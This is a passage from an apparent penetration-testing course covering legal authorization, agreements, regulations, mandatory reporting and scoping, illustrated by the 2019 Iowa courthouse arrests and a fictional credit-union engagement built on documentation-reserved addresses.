  5. Lyon, G. (2009). Legal issues. In Nmap network scanning: The official Nmap project guide to network discovery and security scanning. Insecure.Com LLC. nmap.org
  6. Oracle. (n.d.). Virtual networking; Guest operating systems; Snapshots. In Oracle VirtualBox user guide for release 7.2; and Download VirtualBox. oracle.com (networking); oracle.com (guests); oracle.com (snapshots); virtualbox.org (downloads)
  7. OffSec. (n.d.). Get Kali; Kali's default credentials; Installing Docker on Kali Linux; Kali Linux hard disk install (system requirements); Import pre-made Kali VirtualBox VM; kali-meta (what the default image contains). kali.org; kali.org (credentials); kali.org (Docker); kali.org (requirements); kali.org (import); kali.org (metapackages)
  8. Rapid7. (n.d.). Metasploitable 2 and Metasploitable 2 exploitability guide (used here only for the VM's purpose, credentials, services and network warning). docs.rapid7.com; docs.rapid7.com (guide)
  9. Kimminich, B. (n.d.). Running OWASP Juice Shop. In Pwning OWASP Juice Shop. pwning.owasp-juice.shop; DVWA project. (n.d.). Damn Vulnerable Web Application (README warning). github.com
  10. Docker, Inc. (2026). Docker terms of use (effective 26 August 2026). docker.com
Key terms
Authorization
Permission to test, given in writing by a system's owner or someone with authority to speak for the owner, naming the systems, times and techniques allowed.
Computer Fraud and Abuse Act (CFAA)
The US federal law, 18 U.S.C. 1030, that makes unauthorized access, access beyond authorization and damaging transmissions crimes and allows civil suits.
Exceeds authorized access
Under Van Buren (2021), obtaining information from areas of a computer, such as files or databases, that are off-limits to you.
Computer Misuse Act 1990
The UK law covering unauthorised access, access with further intent, impairing a computer, serious damage, and making or obtaining tools for those offences.
Host-only network
A VirtualBox network containing only the host and selected VMs; the VMs can reach each other and the host but nothing outside.
Metasploitable 2
Rapid7's intentionally vulnerable Ubuntu Linux VM, used as a practice target and never exposed to a hostile network.
OWASP Juice Shop
A deliberately insecure web application for practicing web testing, run here in Docker bound to the Kali VM's loopback address.
Snapshot
A saved state of a whole VM, including its settings such as network adapter modes, that can be restored in seconds, undoing any change made since.
Host discovery
Finding which addresses in a range answer, without probing their ports, as nmap -sn does.

Module 2: Planning the Engagement (Domain 1, objectives 1.1 and 1.3)

Work through the documents that make a penetration test lawful and safe, using the 2019 Iowa courthouse arrests as the case; define the scope, targets, assessment types and rules of engagement for a client; and compare the frameworks, methodologies and threat models that give an engagement its structure.

The Courthouse at Midnight: Authorization, Agreements, and Legal Duties

  • Distinguish an MSA, SoW, NDA, rules of engagement, authorization letter and terms of service by the question each one answers.
  • Explain the shared responsibility model and why a client can authorize testing only of what it controls.
  • Describe what PCI DSS, the HIPAA Security Rule and the GDPR ask for, and the mandatory reporting duties a test can trigger.
  • Identify the legal and physical risks to a penetration tester and the precautions that reduce them.

A letter with one wrong number

On 9 August 2019 three officials of the Iowa Judicial Branch's State Court Administration signed a letter for two penetration testers to carry. The testers, Gary DeMercurio and Justin Wynn, worked for the security firm Coalfire. The letter said Coalfire had been asked to test the court system's physical security. It listed what the testers might do: impersonate staff or contractors, use false pretenses to get into buildings, follow employees through doors, and enter restricted areas.

It also listed what they must not do: subvert alarms, force doors open, or enter areas that need protective equipment.

Below those lists were the three officials' office and mobile numbers, then their signatures. One mobile number was wrong.

Testers call a letter like this a "get out of jail free" letter, and the Iowa documents use the phrase too. About five weeks later, at around 1:45 in the morning, it was tested in exactly the situation it was written for, and it failed. This lesson follows the Iowa engagement through its documents, then uses it to teach the paperwork, the third parties, the laws and the personal risks that every engagement has to settle before anyone starts.

Exam objectives: 1.1 (agreement types; legal and ethical considerations, including authorization letters, mandatory reporting requirements and risk to the penetration tester; regulations, frameworks and standards for privacy and security; the shared responsibility model).

A stone courthouse with a central clock tower and red roofs under a blue sky, the building where the two testers were arrested.
Dallas County Courthouse, Adel, Iowa
Brandonrush - CC BY-SA 4.0 - Wikimedia Commons

Three nights in September

The engagement was bigger than the buildings. A master agreement signed with Coalfire in January 2015 still governed the relationship. A 2019 service order and a set of rules of engagement (ROE) added network tests, application tests, phishing, phone pretexting, a wireless assessment and a physical assessment of three buildings. The buildings were the Judicial Branch Building and the Polk County Courthouse in Des Moines, and the Dallas County Courthouse in Adel. Testing ran from 19 August to 27 September, with the physical work set for 9 to 13 September.

The ROE described the physical work in a few short bullets. It could happen "during the day and evening". The testers could talk their way into areas, with "limited physical bypass", try to reach the internal network, and leave devices such as thumb drives behind. Elsewhere, in a section on assumptions, the same ROE said all testing was expected during normal business hours, Monday to Friday from 6 a.m. to 6 p.m. Mountain time. Iowa runs on Central time. Nobody resolved the conflict.

On the night of 9 September, building security later found, the testers began trying to enter the Judicial Branch Building at 9:13 p.m., got in at 9:52 and left at 12:21 a.m. The next morning the court system's IT manager found Wynn's calling card on his desk and emailed his congratulations. According to news reports, the pair entered the Polk County Courthouse shortly after midnight on 10 September. Court IT managers later said they did not know about that entry until it was in the news.

In the early hours of 11 September, Dallas County sheriff's deputies arrested both men inside the Dallas County Courthouse. Deputies phoned the court system's information security officer at about 1:45 a.m.; he believed the letter covered the test. They also phoned the IT director, who told them the testers were not supposed to be in courthouses after hours.

The sheriff's office took the position that the state court administration had no authority to allow after-hours access to a building the county owned. Nobody reached the third contact, because his number on the letter was wrong. Both men were charged with third-degree burglary and possession of burglar tools.

The charges were later reduced to misdemeanor trespass, and on 30 January 2020 prosecutors dropped them. The two testers then sued the county and its sheriff. In January 2026 Dallas County and its former sheriff agreed to pay them $600,000 to settle the suit, more than six years after the arrest.

A large stone courthouse with a tall clock tower and a US flag in front, one of the three buildings in the physical assessment.
Polk County Courthouse, Des Moines
Farragutful - CC BY-SA 4.0 - Wikimedia Commons

What the investigators found

The Iowa Supreme Court asked the law firm Faegre Baker Daniels to investigate, and its report, dated 9 October 2019, is public. It found no deception or ill intent on either side. It reached four conclusions.

  1. Red-team testing was misunderstood. Court staff had little experience with physical "red team" work and did not grasp that it might mean entering a building at night. Coalfire's previous test for them, in 2015, had kept to working hours and broken into nothing.
  2. The agreement was ambiguous. It was spread across several documents: the master agreement, the service order, the ROE with its appendices, and the letter, titled a "Social Engineering Authorization" even though a night-time entry involves no social interaction. The hours clause and the "day and evening" bullet contradicted each other, and the letter said nothing about time of day.
  3. Oversight was thin. No lawyer reviewed the documents before testing, and the testers went almost silent during the physical work.
  4. Authority was unclear. Iowa's counties provide the courthouses. Whether the court administration could authorize entry to a county building, including its non-court areas, was a legal question nobody had settled.

Its recommendations read like a checklist for this whole module. Have a lawyer review security-testing contracts, and have the State Court Administrator sign off on any future test. Use fewer documents and more precise terms, with permitted and prohibited techniques spelled out and physical testing treated as its own category. Keep building entry to normal working hours. And confer with sheriffs and other officials who could be affected. One sentence from the report is worth remembering: safety should override any desire to conduct a stealthy assessment.

Why this matters: the failures in Iowa were failures of planning and oversight, not of technical skill. The testers did what the ROE appeared to allow. Objective 1.1 covers this paperwork, and Iowa shows why it earns its place: an engagement can fail here before anyone opens a tool.

A pale stone building with a green dome and a columned entrance above a lawn and steps, the first building the testers entered.
Iowa Judicial Branch Building, Des Moines
Paul R. Burley - CC BY-SA 4.0 - Wikimedia Commons

The paperwork that makes a test lawful

The Iowa engagement used most of the agreement types the exam names. Each answers a different question, and a gap in any one of them leaves that question open.

DocumentThe question it answersIn the Iowa engagement
Master service agreement (MSA)What legal and commercial terms govern every project between these two parties: liability, payment, confidentiality, how disputes are settled?A master agreement signed in January 2015 still governed the 2019 work; no new one was signed
Statement of work (SoW)What will this project deliver: the work, the scope, the dates and the price?Coalfire's service order, which described the project, including "Physical Attacks" on three buildings
Non-disclosure agreement (NDA)What may each side reveal about the other, and to whom?The ROE's cover says its contents are subject to an NDA between the firm and the client
Rules of engagement (ROE)How will testing be carried out: targets, times, techniques, exclusions, contacts and escalation?The ROE, with its scope, assumptions, request for information and methodology; Lesson 4 builds one
Authorization letterWho authorized this, and how can someone confronting the testers check it right now?The "Social Engineering Authorization", with three officials' signatures and numbers, one of them wrong
Terms of service (ToS)What does a third-party platform allow its customers, or their testers, to do?Not used; it matters whenever a target runs on someone else's service, as the next section shows

Read the table for its gaps. The authorization letter is the only document a deputy will read at two in the morning, so it has to stand on its own. It needs to say:

  • who the testers are
  • the dates and hours
  • the places
  • what they may and may not do
  • contacts who will answer the phone

Iowa's letter covered the techniques but not the hours, and one of its contacts could not be reached. Before any physical test, call every number on the letter yourself.

The layering matters too. Under a master agreement, each new project gets its own statement of work and ROE, so the paperwork for a later test can quietly inherit assumptions from an earlier one. Iowa's managers assumed 2019 would look like 2015. Nothing in the documents said so.

Why this matters: an NDA protects secrets, an MSA sets the standing legal terms, and an SoW defines the deliverables. Only the ROE and the authorization letter say what the testers may actually do, so those two documents are where precision counts most.

Who else has a say: third parties and shared responsibility

The county in the Iowa case was a third party: someone who owns, runs or shares part of the target and was not a party to the contract. Modern engagements are full of them. A web application may run on a cloud provider's servers, call a payment processor's API, sit behind a content delivery network and be managed by an outside IT company. Your client can authorize testing only of what it controls.

Cloud providers publish their own terms for this. Amazon Web Services lets customers test a listed set of their own resources, such as EC2 instances, RDS databases and Lambda functions, without asking first. Under that policy it forbids denial-of-service testing of any AWS asset. It also forbids port, protocol and request flooding, and DNS zone walking through Route 53. It asks for a separate simulated-events form before red-team exercises, phishing or command-and-control hosting.

Microsoft's rules for its cloud allow testing in your own tenant. They forbid denial of service, phishing of Microsoft staff and the use of credentials that are not yours. They also tell you to stop at an initial proof of concept and report any flaw in Microsoft's own services to its security response center.

PartyResponsible forExample
Hosting providerThe data centers, hardware and platform; publishing what customers may testAWS's list of services customers may test without prior approval
Customer (the client)Its own configurations, accounts, data and applications; authorizing tests of what it controls; making sure its testers follow the provider's termsAWS holds the customer responsible for damage that its testing, or its contracted testers' testing, causes
Penetration testerStaying inside the written scope and the provider's terms; configuring tools safely; reporting what was foundDisabling any tool feature that could flood a service before the test starts
Third partiesSystems they own or run inside the client's environment, which need their own permission or must be excludedA managed service provider's monitoring server, a county-owned courthouse, a SaaS email platform

AWS's policy is explicit that the customer answers for its testers: customers must make sure their tools are configured not to cause denial of service, and they are responsible for damage to AWS or other customers. So when a client asks you to "include our email provider, since we pay for it", check that provider's terms and get its permission in writing, or leave it out.

Rows of servers on metal shelves in a dim room lit by blue lights, hardware that belongs to the hosting provider rather than its customers.
A hosting provider's server room
BalticServers.com - CC BY-SA 3.0 - Wikimedia Commons

Laws and standards that ask for testing

Many engagements exist because a regulation or an industry standard asks for them. The objectives group them under security and privacy, and the exam expects you to recognize the main ones.

RuleWhat it asks for (paraphrased)What it means for the test
PCI DSS v4.0.1, requirement 11.4 (payment cards; security)External and internal penetration testing at least once every 12 months and after any significant change, with exploitable weaknesses corrected and retested. Where segmentation isolates the cardholder data environment, the segmentation is tested at least once every 12 months (every six months for service providers) and after any change to it. All of this is done by a qualified tester who is organizationally independentThe standard sets a minimum frequency and says who may test; the scope must include every segmentation control in use
HIPAA Security Rule, 45 CFR 164.308 (US health data; security)An accurate and thorough risk analysis, and periodic technical and nontechnical evaluations, repeated after environmental or operational changesIt does not name penetration testing, but a test is one way to meet the evaluation requirement. HHS proposed in January 2025 to require penetration testing at least once every 12 months; when this lesson was checked on 3 November 2026 that rule was not final, and HHS's agenda pointed to July 2027
GDPR Article 32 (personal data in the EU, and in the UK as the UK GDPR; privacy)A process for regularly testing, assessing and evaluating how well security measures protect personal dataTesting is expected, and the test itself must handle any personal data it touches lawfully and minimally

The privacy rules cut both ways. A test of a system that holds personal data will show some of that data to the tester: names in a database, messages in a mailbox, records on a file share. The scope documents should say what you may view, what you may keep as evidence (often a redacted screenshot rather than the data itself), where evidence is stored and when it is destroyed.

A card payment terminal with a small screen and a number pad, the kind of device whose card data PCI DSS protects.
A card payment terminal
VulcanSphere - CC BY 4.0 - Wikimedia Commons

When someone must be told: mandatory reporting

A test can uncover things that the law or the contract says must be reported, and the right response is almost never to keep testing. The ROE should name who is told, by whom and how fast. Three cases come up most often.

  • Evidence that someone else got there first. Web shells, unknown accounts or logs of an earlier intrusion mean the client may have a breach, and breach laws start clocks. Under GDPR Article 33, a controller must notify the regulator without undue delay and, where feasible, within 72 hours of becoming aware of a personal data breach, unless the breach is unlikely to put people's rights and freedoms at risk, and a processor must tell the controller without undue delay. Your job is to stop work on that system, preserve what you saw, and tell the client's named contact at once, not to save it for the report.
  • Illegal content. If you find what appears to be child sexual abuse material, stop. Do not open more of it, copy it or move it, because possessing or sharing it is a serious crime, and escalate immediately to the client contact and legal counsel named in the ROE. In the US, federal law (18 U.S.C. 2258A) requires providers of electronic communication and remote computing services to report apparent child sexual abuse material to the National Center for Missing and Exploited Children, and the client's lawyers decide what the law requires of the client.
  • Critical findings. A flaw that puts safety or large amounts of data at immediate risk is usually reported as soon as it is confirmed, through the escalation path in the ROE, rather than weeks later in the report.

Notice who reports to whom. In most cases the tester reports to the client, and the client, advised by its lawyers, reports to regulators or police. The ROE should settle this in advance, because two in the morning is not the time to work it out.

The risk to the tester

The exam lists risk to the penetration tester as a legal and ethical consideration of its own, and Iowa shows why. DeMercurio and Wynn were arrested and charged with felonies, the charges hung over them for months, and their lawsuit was settled only in January 2026. The engagement's own questionnaire had asked whether armed personnel worked at the sites, and for the Polk County Courthouse the answer was yes. A tester who startles an armed guard at night is in physical danger, not just legal trouble.

Practical protections follow from the case:

  • Carry the authorization letter and photo ID, and check every contact number on the letter before the test.
  • Agree in writing whether building security and local police will be told, and by whom. The investigators recommended conferring with sheriffs, and noted that little is lost by giving notice.
  • Stop the moment you are challenged. Identify yourself, show the letter, keep your hands visible and let the contacts confirm you. Never run.
  • Work in pairs, check in with the client at agreed times, and stop if a contact cannot be reached.
  • Make sure your firm carries professional liability insurance and that the contract says who bears the cost if something breaks.

Why this matters: an authorization letter protects you only if the person who signed it had the authority to sign, the contacts answer, and its terms match what you are doing at that moment.

Common misconceptions

  • "An authorization letter means you cannot be arrested." It shows that whoever signed it authorized you. If they lacked authority over the premises or system, as the Dallas County sheriff argued, it does not bind the real owner.
  • "The client can authorize testing of everything it uses." It can authorize only what it controls. Cloud platforms, SaaS providers, managed service providers and building owners need their terms checked or their own permission.
  • "The NDA covers what we are allowed to test." An NDA governs confidentiality. Scope and techniques belong in the SoW and the ROE.
  • "If we find evidence of a crime, we should keep going to gather more." Stop, preserve what you saw, and escalate. Investigating belongs to the client's incident responders and, where appropriate, the police.
  • "Cloud providers forbid penetration testing." AWS and Microsoft both allow customers to test their own resources, within published rules that forbid denial of service and testing other customers.

What to carry forward

  • The Iowa engagement failed on paper: conflicting hours, no legal review, thin oversight, unclear authority over county buildings, and a wrong contact number.
  • MSA: standing legal terms. SoW: this project's work. NDA: confidentiality. ROE: how the testing is done. Authorization letter: proof of permission for whoever confronts you. ToS: what a third-party platform allows.
  • Clients can authorize only what they control; cloud providers publish testing rules, and AWS holds customers responsible for their testers.
  • PCI DSS v4.0.1 requires penetration testing at least every 12 months and segmentation tests at least yearly, or every six months for service providers; HIPAA requires periodic evaluations; GDPR Article 32 requires regular testing of security measures.
  • Evidence of a prior breach, illegal content or a critical flaw means stop, preserve and escalate through the ROE's path, because legal clocks may already be running.
  • Protect yourself: verify contacts, agree on notifications, stop when challenged, and let safety outrank stealth.

Sources

  1. Faegre Baker Daniels. (2019, October 9). Coalfire investigation report (prepared for the Iowa Supreme Court). Iowa Judicial Branch. iowacourts.gov (PDF)
  2. Iowa Judicial Branch, State Court Administration. (2019, September 18). State Court Administration statement, with the redacted Coalfire contract documents, including Coalfire Systems' Penetration test rules of engagement (version 1.0, 30 July 2019). iowacourts.gov; iowacourts.gov (ROE, PDF)
  3. Krebs, B. (2020, January 31). Iowa prosecutors drop charges against men hired to test their security. KrebsOnSecurity. krebsonsecurity.com
  4. KCRG. (2026, January). Cybersecurity testers reach $600,000 settlement after wrongful arrest. kcrg.com
  5. Amazon Web Services. (n.d.). Penetration testing (customer policy). aws.amazon.com; Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com
  6. PCI Security Standards Council. (2024). Just published: PCI DSS v4.0.1 (v4.0 retired 31 December 2024); and (2022). PCI DSS v4.0 self-assessment questionnaires D for merchants and D for service providers (text of requirements 11.4.2 to 11.4.6; the full v4.0.1 standard sits behind the council's document library agreement). pcisecuritystandards.org (v4.0.1); pcisecuritystandards.org (merchants, PDF); pcisecuritystandards.org (service providers, PDF)
  7. 45 CFR 164.308, Administrative safeguards (HIPAA Security Rule). Legal Information Institute, Cornell Law School. law.cornell.edu; US Department of Health and Human Services. (2025, January 6). HIPAA Security Rule to strengthen the cybersecurity of electronic protected health information (notice of proposed rulemaking), 90 FR 898. federalregister.gov; Alston & Bird. (2026, July 10). HHS Office for Civil Rights delays final HIPAA Security Rule until 2027. alston.com
  8. Regulation (EU) 2016/679 (General Data Protection Regulation), Articles 32 and 33, as it applies in the UK. legislation.gov.uk. Article 32; Article 33
  9. 18 U.S.C. 2258A, Reporting requirements of providers. Legal Information Institute, Cornell Law School. law.cornell.edu
Key terms
Master service agreement (MSA)
A standing contract that sets the legal and commercial terms, such as liability, payment and disputes, for every project between two parties.
Statement of work (SoW)
The project-level document that defines the work, deliverables, scope, dates and price of one engagement.
Non-disclosure agreement (NDA)
A contract that limits what each party may reveal about the other's information.
Rules of engagement (ROE)
The document that sets how testing is done: targets, times, techniques, exclusions, contacts and escalation.
Authorization letter
A signed letter, carried by testers, that shows who authorized the test, for what, when, and whom to call to confirm it.
Terms of service (ToS)
A platform's own rules for its customers, which can allow, limit or forbid testing of services it hosts.
Shared responsibility model
The division of security duties between a hosting provider, its customer, the customer's testers and any other third parties.
Third party
Anyone who owns, runs or shares part of a target without being a party to the testing contract, and whose consent the client cannot give.
Mandatory reporting
A legal or contractual duty to report certain discoveries, such as a breach or illegal content, promptly through a set path.

Drawing the Lines: Scope, Targets, Assessment Types, and Rules of Engagement

  • Match a client's goals to assessment types: network, web, API, mobile, application, cloud and wireless.
  • Write targets as CIDR ranges, domains, IP addresses and URLs, calculate what a range covers, and verify that every target belongs to the client.
  • Build rules of engagement with exclusions, test cases, an escalation process and a testing window, following NIST SP 800-115's template.
  • Recognize scope errors and scope creep, and handle them with written amendments.

One character in a range

The range 203.0.113.0/26 holds 64 addresses. The range 203.0.113.0/25 holds 128. On a scope form the two differ by a single character, and the second one can sweep a stranger's network into your test. Lesson 3 showed how vague words about time put two testers in jail. This lesson is about getting every other line of the scope right: what kind of test, against which targets, excluding what, when, checking what, and with whom to call when something goes wrong.

The lesson walks one fictional engagement from the client's first email to a signed set of rules of engagement (ROE), then runs it again with one input changed. The client is Corvid Bay Credit Union, a made-up organization. Its addresses come from blocks that RFC 5737 reserves for documentation, 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24, which should never appear on the public internet. Its domain, corvidbay.example, uses the .example top-level domain that RFC 2606 reserves for examples. So nothing in the worked example can point at a real organization.

Exam objectives: 1.1 (scope definition; target selection by CIDR ranges, domains, IP addresses and URLs; assessment types: web, network, mobile, cloud, API, application and wireless; rules of engagement: exclusions, test cases, escalation process and testing window).

Step 1: Turn the client's goals into assessment types

Corvid Bay's security manager writes: "Our examiners want an external penetration test this year. We also launched a new online banking site and a mobile app in the spring, and we would like to know whether members can see each other's data. And we are worried about the Wi-Fi at our head office." Before any address is written down, those sentences have to become named assessment types, because each type needs different access, tools and standards.

Assessment typeWhat is testedHow the scope names itWhat it needs
Network (external or internal)Hosts and services reachable from the internet, or from inside the networkCIDR ranges, IP addresses, hostnamesFor internal tests, a way in: on-site access, a VPN account or a jump box
WebA web application's logic, sessions, input handling and access controlURLs and environments (production or staging)Test accounts at each user role; the OWASP Web Security Testing Guide is the usual reference
APIThe interface that apps and partners call, apart from any user interfaceBase URLs, endpoints, an API specification such as an OpenAPI fileAPI keys or test accounts; the OWASP API Security Top 10 lists the common flaws
MobileThe app on the device: storage, platform interaction, network useApp builds and versions for each platform, plus the back-end endpointsTest devices; OWASP's Mobile Application Security Verification Standard (MASVS)
ApplicationInstalled or thick-client software and the servers it talks toProduct name, version, binaries, server addressesAn installed copy and test credentials
CloudAccounts, identities, configurations and services in a cloud platformAccount, subscription or project identifiers, and servicesRead access for configuration review; the provider's testing terms (Lesson 3)
WirelessWi-Fi networks, their encryption and authentication, and segmentationPhysical locations, network names (SSIDs) and access point identifiers (BSSIDs)Presence on site; any disruptive technique approved explicitly

For Corvid Bay that is four types:

  • an external network test
  • a web test of online banking
  • an API and mobile test of the app and the interface behind it
  • a wireless test of head office

The examiners' request also sets a standard to meet, and the member-data worry becomes the heart of the web and API work.

In short: the assessment type decides what you will need from the client, so name the types before you collect a single address.

Step 2: Write down the targets, then prove they belong to the client

Corvid Bay sends its list: the external range 203.0.113.0/26, the online banking site at onlinebanking.corvidbay.example, the API at api.corvidbay.example, and the two head-office networks, CB-Staff and CB-Guest. Start with the arithmetic. CIDR notation, defined in RFC 4632, writes a block as an address followed by a slash and the number of fixed leading bits, out of 32 for IPv4. The addresses in the block number 2 raised to the power of the remaining bits.

BlockFixed bitsAddressesRange
203.0.113.0/24242 to the 8th = 256203.0.113.0 to 203.0.113.255
203.0.113.0/25252 to the 7th = 128203.0.113.0 to 203.0.113.127
203.0.113.0/26262 to the 6th = 64203.0.113.0 to 203.0.113.63
203.0.113.64/27272 to the 5th = 32203.0.113.64 to 203.0.113.95
203.0.113.16/28282 to the 4th = 16203.0.113.16 to 203.0.113.31

Each extra fixed bit halves the block. So the /26 that Corvid Bay sent is 64 addresses, 203.0.113.0 to 203.0.113.63. Now prove they are Corvid Bay's. NIST SP 800-115 says that when you are handed a list of public target addresses, you should verify before testing begins that all of them are under the organization's purview. It suggests registration records such as WHOIS. The Penetration Testing Execution Standard (PTES) adds the supporting pieces: confirm who owns the DNS servers, mail servers, web hosting and firewalls, because many organizations outsource them.

Corvid Bay's registration records show the /26 assigned to the credit union. They also show that the next block, 203.0.113.64/27, belongs to its colocation provider, which uses it to manage its own equipment. Hold on to that fact.

Domains and URLs need the same care. A lookup shows that onlinebanking.corvidbay.example resolves to 198.51.100.17, an address of a content delivery network shared by thousands of customers. Testing that IP address would mean testing the network's servers, not the credit union's. So the web test is scoped by hostname and URL, under the delivery network's published terms, and never by the shared address. The API, at 203.0.113.20, sits inside Corvid Bay's own /26.

One safe habit catches many of these mistakes. Nmap's list scan, nmap -sL, prints every address a range expands to without sending any packets to the targets. By default it still looks up each address's name in DNS, and Nmap's documentation points out that those names can reveal targets that belong to the wrong organization. Add -n to skip the lookups when all you want is the arithmetic.

An IP address written in binary, with brackets showing how prefixes of 11, 22, 24 and 32 bits mark ever smaller blocks held by different owners.
One address inside nested CIDR blocks
Fred the Oyster i The source code of this SVG is valid . This... - CC0 - Wikimedia Commons

Step 3: Draw the exclusions

NIST calls the list of systems not authorized for testing the "exclude list", and says it is crucial to have one. Exclusions come from three sources: ownership, fragility and the client's own priorities. Corvid Bay's list:

  • 203.0.113.64/27, the colocation provider's management network (a third party).
  • The core banking system and its database servers, which the credit union will not risk in production.
  • The bill-payment service run by an outside processor, reached from the online banking site (a third party).
  • Any denial-of-service testing, anywhere.
  • Social engineering of staff or members, which the client may buy later under a separate agreement.

An exclusion should be as precise as a target: an address, a hostname or a named function, never "sensitive systems".

Tall racks of servers with small blue and white lights, the kind of equipment a colocation provider houses and manages.
Racks of servers in a data center
Victor Grigas - CC BY-SA 3.0 - Wikimedia Commons

Step 4: Set the testing window

The testing window says when testing may happen, and Lesson 3 showed what a vague one costs. NIST's ROE template asks the schedule to address the hours of testing, and notes that technical testing of an operational site may be better run in the evening than at peak business times. Corvid Bay chooses:

  • external and web testing from 08:00 to 18:00 US Central Time (America/Chicago), Monday to Friday, which is 14:00 to 00:00 UTC in winter
  • wireless testing on site on two named days
  • no testing at all on the last two business days of each month, when member transactions peak

Write the time zone by name. Testers and clients are often in different ones.

A map of the contiguous United States colored by time zone, with Illinois and Iowa in the Central zone and Colorado in the Mountain zone.
US time zones
Mecholix - CC BY-SA 4.0 - Wikimedia Commons

Step 5: Write test cases

Test cases turn the client's worries into checks you can report against. A good one names a starting position, an action and an observable result. Corvid Bay's include:

  1. From the internet, which services in 203.0.113.0/26 answer, and do any expose an administrative interface?
  2. Logged in as one test member, can you view another test member's statements by changing an account identifier in a request?
  3. Does the mobile API accept requests that carry no valid session token, or an expired one?
  4. From a device on CB-Guest, can you reach any address on the CB-Staff network?

Notice the second case. It uses two test accounts the client creates for the purpose, so the test proves the weakness without touching any real member's data.

Step 6: Agree the escalation process

NIST's template calls this incident handling and response, and calls it critical. It wants criteria for halting the test, the course of action if testing harms the network or a real attacker appears mid-test, the client's call tree in quick-reference form, and a process for resuming. PTES adds that every emergency contact should have a full name, a title, the authority to discuss the test, and two ways to reach them around the clock. For Corvid Bay:

  • Stop and call at once if any service slows or fails, if you find signs of a real intrusion, if you find illegal content, or if a finding exposes member data.
  • Who to call, in order: the client's security manager, then the IT on-call line, then the executive sponsor; each with two verified numbers.
  • Restarting: only after the security manager confirms in writing that testing may resume.

Step 7: Assemble the ROE and sign it

NIST SP 800-115's Appendix B gives a template whose structure NIST itself calls illustrative, so adapt it rather than copy it. Here it is with Corvid Bay's entries.

Template sectionWhat goes in itCorvid Bay entry
IntroductionPurpose, scope, assumptions and limitations, risksExaminer-requested external test plus web, API, mobile and wireless; risk of service disruption noted
LogisticsPersonnel and contacts, schedule and hours, test site, test equipmentNamed testers and contacts; the window from Step 4; testers' source addresses listed so the client can tell them apart
Communication strategyStatus meetings; incident handling and halting criteriaDaily status email; the escalation process from Step 6
Target system and networkAuthorized targets and the exclude listStep 2's targets and Step 3's exclusions
Testing executionAllowed and forbidden activities, methodology, data handlingTest cases from Step 5; no denial of service; redacted screenshots as evidence; evidence encrypted and destroyed 90 days after the report
ReportingDeliverables, contents and frequencyDraft report, then final report with remediation guidance
Signature pageAccountable partiesSigned by the test team leader and the credit union's senior management

The signature page matters as much as the content. NIST says the test team leader and the organization's senior management should, at a minimum, sign to show they understand the scope and its boundaries.

In short: a finished scope names every target and every exclusion precisely and says when testing happens in a stated time zone. It also lists checks you can report against, and tells everyone whom to call and when to stop.

Run it again with one input changed

Now change three inputs, one at a time, and watch the scope break.

The typo. Suppose Corvid Bay's form had said 203.0.113.0/25. That block runs from 203.0.113.0 to 203.0.113.127, so it contains the credit union's 64 addresses and also the colocation provider's 203.0.113.64/27, plus 32 more addresses whose owner nobody checked. A sweep of the range as written would scan a third party without its permission. The list scan would have shown it: names belonging to the provider's routers would appear in the output. The fix is not to quietly test the smaller block. Correct the document and have it signed again.

The shared address. Suppose the scope had listed the online banking site by its address, 198.51.100.17, under the network test. Every port scan of that address would hit a delivery-network server that also serves thousands of other customers. Same site, same client, different target, and the second one is not the client's to authorize.

The helpful email. On day two the client's IT manager writes: "While you're in there, can you check our new VPN gateway at 192.0.2.10?" It is not in the ROE. PTES's advice on scope creep is blunt: document additional work in a statement of work, and start nothing until it is signed and countersigned. Two more questions follow. Does the IT manager have the authority to sign? And is 192.0.2.10 Corvid Bay's at all? Until both are answered in writing, the gateway is out of scope.

Two diagrams side by side: on the left one server feeds many computers, and on the right several servers spread across a network feed them.
A single server against a content delivery network
Д.Ильин : vectorization - CC0 - Wikimedia Commons

Common misconceptions

  • "If the client lists an address, it is theirs." Clients make mistakes, and addresses change hands. NIST tells testers to verify ownership of every public address before testing.
  • "A /25 is smaller than a /26." The reverse: each extra bit after the slash halves the block, so a /25 is twice the size of a /26.
  • "A web application's IP address is the same thing as the application." Behind a content delivery network or shared hosting, one address can serve many organizations, so web tests are scoped by hostname and URL.
  • "An email from the client's staff is enough to add a target." Changes need the same written authority as the original scope, from someone entitled to give it.
  • "Escalation means telling the client at the end." Escalation is for during the test: stop conditions, a call tree and a way to restart.

The short version

  • Name the assessment types first: network, web, API, mobile, application, cloud and wireless each need different access and standards.
  • Write targets precisely, as CIDR ranges, IP addresses, domains and URLs; calculate what each range covers; and verify ownership with registration records and the client.
  • Keep an exclude list of third-party, fragile and unwanted systems and techniques.
  • Set the testing window in hours, days, blackout dates and a named time zone.
  • Write test cases with a starting position, an action and an observable result, using test accounts rather than real people's data.
  • Agree halting criteria, a call tree with two verified numbers per contact, and a written restart; then sign the ROE at senior level.
  • Treat every change, including a helpful email, as a scope amendment that needs new signatures.

Sources

  1. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 5.2 and Appendix B, Rules of engagement template. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
  2. The PTES Team. (n.d.). Pre-engagement interactions. In Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pentest-standard.readthedocs.io
  3. Fuller, V., and Li, T. (2006). Classless Inter-domain Routing (CIDR): The Internet address assignment and aggregation plan (RFC 4632). RFC Editor. rfc-editor.org
  4. Arkko, J., Cotton, M., and Vegoda, L. (2010). IPv4 address blocks reserved for documentation (RFC 5737); and Eastlake, D., and Panitz, A. (1999). Reserved top level DNS names (RFC 2606). RFC Editor. rfc-editor.org (RFC 5737); rfc-editor.org (RFC 2606)
  5. Lyon, G. (n.d.). Host discovery. In Nmap reference guide. nmap.org
  6. OWASP Foundation. (n.d.). Web Security Testing Guide; OWASP API Security Top 10 (2023); Mobile Application Security Verification Standard (MASVS). owasp.org (WSTG); owasp.org (API Top 10); mas.owasp.org
Key terms
Scope
The written boundaries of a test: assessment types, targets, exclusions, times and techniques.
Assessment type
The kind of test, such as network, web, API, mobile, application, cloud or wireless, each with its own access needs and standards.
CIDR notation
Writing an address block as an address, a slash and the number of fixed leading bits; a /26 in IPv4 holds 2 to the 6th, or 64, addresses.
Exclude list
NIST's term for the systems and addresses explicitly not authorized for testing.
Testing window
The dates, hours, blackout periods and named time zone in which testing may take place.
Test case
A planned check with a starting position, an action and an observable result that the report can answer.
Escalation process
The agreed criteria for halting a test, the order of contacts to call, and the written step for resuming.
Scope creep
